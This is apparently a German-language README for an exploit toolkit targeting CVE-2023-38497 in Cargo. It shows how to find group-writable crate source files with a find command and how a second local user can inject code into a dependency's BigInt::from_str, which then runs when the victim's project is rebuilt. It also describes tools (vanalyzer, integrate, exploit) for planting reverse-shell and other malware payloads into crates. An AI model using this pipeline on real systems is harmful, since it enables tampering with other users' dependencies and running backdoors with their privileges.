
Cargo-Exploit für CVE-2023-38497
Eine neue Schwachstelle in der Cargo-Version 1.7.0 wurde entdeckt, wie hier erklärt wird.
Zuerst musst du sicherstellen, dass deine Cargo-Version verwundbar ist.
cargo --version
Angenommen, ich habe ein Cargo-Projekt mit der folgenden Datei src/main.rs:
use num_bigint::BigInt;
use std::str::FromStr;
// Silly guessing game
fn main() {
let secret_number = BigInt::from_str("123456789");
loop {
println!("Make a guess: ");
let mut guess = String::new();
std::io::stdin()
.read_line(&mut guess)
.expect("Error reading stdin");
let guess = BigInt::from_str(guess.trim());
if guess == secret_number {
println!("That's right");
break;
}
}
}
Wenn ich das Programm ausführe:
cargo run
Make a guess:
20
Make a guess:
123456789
That's right!
Hier gibt es nichts Falsches.
Als Nächstes filterst du aus allen installierten Crates auf deinem System diejenigen heraus, deren Berechtigungen schlecht konfiguriert sind, das heißt, die von der Gruppe oder anderen Benutzern der Maschine beschrieben werden können:
find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"
Dies liefert eine Liste aller verwundbaren Rust-Quelldateien. Daraus wählst du die Datei, die für deinen Angriff geeignet ist. Das sollte eine Datei sein, in der eine Methode definiert ist, die im Quellcode des Ziel-Cargo-Projekts verwendet wird.
Und aus der obigen Liste finde ich die folgende verwundbare Datei:
$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs
Die, wie zuvor versprochen, die folgenden Berechtigungen hat: -rw-rw-r--
Daher kann sie von jedem Benutzer in derselben Gruppe wie der Eigentümer des Cargo-Projekts geändert werden – das ist beängstigend. Aber stell dir vor, jeder Benutzer könnte diese Datei beschreiben – nun, es gibt Crates mit solchen Berechtigungen.
Jetzt kannst du einen neuen Benutzer auf deinem System anlegen oder einen vorhandenen verwenden, der nicht der Projektbenutzer ist und derselben Gruppe angehört wie der Benutzer der Datei, die wir angreifen. Zum Beispiel hat diese Quelldatei auf meinem System den folgenden Eigentümer und die folgende Gruppe:
atreides people
und ein anderer Benutzer, den ich habe, liefert bei der Ausführung des Befehls id Folgendes:
uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)
Jetzt wissen wir, dass der Benutzer bob unsere Zieldatei und alle anderen Dateien mit solchen Berechtigungen beschreiben kann. Wechsle zu bob und fahre fort.
Wenn wir uns unser Zahlenratespiel ansehen, stellen wir fest, dass die Methode from_str der Struktur BigInt verwendet wird. Das könnte eine interessante Methode sein, die man genauer betrachtet.
Aus der Zieldatei habe ich diesen Codeausschnitt extrahiert:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
BigInt::from_str_radix(s, 10)
}
}
Was nun, wenn du es so aussehen lässt?
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
println!("Message from beyond");
BigInt::from_str_radix(s, 10)
}
}
Und es nach dem Bereinigen des Zielverzeichnisses erneut ausführst:
cargo clean && cargo run
Make a guess:
20
Message from beyond
Make a guess:
123456789
Message from beyond
That's right!
Wow! Stell dir vor, du schreibst an deinem Cargo-Projekt und erhältst diese Meldungen.
Beachte, dass dies nur passiert, wenn das Zielverzeichnis zuvor gelöscht wurde, das heißt, Cargo muss das Crate kompilieren, nachdem du die Quelldatei geändert hast.
Nun, das ist nur eine Demo, wie man diese Schwachstelle ausnutzt, aber stell dir vor, du platzierst eine beliebige Nutzlast in einer Quelldatei. Dieses Repository zielt darauf ab, eine Reverse-Shell-Verbindung mit dem Benutzerkonto herzustellen, sobald der Benutzer ein Cargo-Projekt ausführt.
Dies ist eine schwerwiegende Schwachstelle, wenn man bedenkt, dass es Cargo-Installationen mit Root-Rechten geben könnte, sodass der platzierte Payload mit diesen Berechtigungen ausgeführt würde.
In diesem Projekt findest du die folgenden Werkzeuge:
Durchsucht das lokale Cargo-Archiv und ein Ziel-Cargo-Projekt, um alle spezifischen Methoden zu finden, die im Quellcode des Ziels ausgenutzt werden könnten. Falls du eine bestimmte Methode ausnutzen möchtest oder keine Leserechte für das Ziel-Cargo-Projekt hast, überspringe den Vanalyzer in der Angriffspipeline.
./vanalyzer/run.sh <target-project-path> <target-username>
Alle Payload-Typen (hauptsächlich Reverse Shell und andere Malware), die im Quellcode eines Ziel-Crates platziert werden können. Derzeit verfügbare Payloads:
Mock-Shell, die Befehle entgegennimmt, um den Schwachstellenanalysator auszuführen, einen der oben aufgeführten Payloads und eine vom Schwachstellenanalysator ausgewählte Methode zum Ausnutzen zu übernehmen und den Payload in den Quellcode zu integrieren (einzufügen).
cargo run
vanalyzer <cargo_project> <target_username>
integrate <file_no> <method_no> <payload>
exploit <path_to_local_archive_crate_file> <method's_name> <payload>
ok